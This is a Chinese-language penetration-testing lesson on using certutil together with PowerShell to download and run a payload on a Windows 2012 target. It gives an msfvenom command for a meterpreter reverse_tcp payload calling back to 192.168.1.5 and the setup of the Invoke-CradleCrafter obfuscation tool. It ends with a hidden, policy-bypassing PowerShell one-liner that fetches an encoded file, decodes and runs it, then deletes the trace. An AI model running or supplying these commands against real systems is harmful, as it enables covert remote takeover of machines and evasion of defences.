第八季中提到了 certutil 的加密与解密。

    1. C:\>certutil -encode c:\downfile.vbs downfile.bat

    而配合 powershell 的内存加载,则可把 certutil 发挥更强大。

    靶机:windows 2012

    而今天需要的是一款 powershell 的混淆框架的配合
    https://github.com/danielbohannon/Invoke-CradleCrafter

    使用方法:

    1. Import-Module ./Invoke-CradleCrafter.psd1 Invoke-CradleCrafter

    第四十四课:ertutil一句话下载payload补充 - 图1

    第四十四课:ertutil一句话下载payload补充 - 图2

    如果在加载 powershell 脚本的时候提示:powershell
    进行数字签运行该脚本。

    则先执行:

    1. set-executionpolicy Bypass

    生成payload:(有关生成payload,会在未来的系列中讲到)

    1. root@John:/tmp# msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐e cmd/powershell_base64 ‐f psh ‐o Micropoor.txt

    第四十四课:ertutil一句话下载payload补充 - 图3

    第四十四课:ertutil一句话下载payload补充 - 图4

    启动apache:
    第四十四课:ertutil一句话下载payload补充 - 图5

    powershell框架设置:

    SET URL http://192.168.1.5/Micropoor.txt
    第四十四课:ertutil一句话下载payload补充 - 图6

    MEMORY
    第四十四课:ertutil一句话下载payload补充 - 图7

    CERTUTIL
    第四十四课:ertutil一句话下载payload补充 - 图8

    ALL
    第四十四课:ertutil一句话下载payload补充 - 图9

    1
    第四十四课:ertutil一句话下载payload补充 - 图10

    混淆内容保存txt,后进行encode
    第四十四课:ertutil一句话下载payload补充 - 图11

    把 cer.cer 与 Micropoo.txt 放置同一目录下。

    目标机执行:

    1. powershell.exe Win hiddeN Exec ByPasS addcontent path %APPDATA%\\cer.cer (NewObject Net.WebClient).DownloadString('http://192.168.1.5/cer.cer'); certutil decode %APPDATA%\cer.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe Exec Bypass NoExit File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\cer.cer

    Micropoor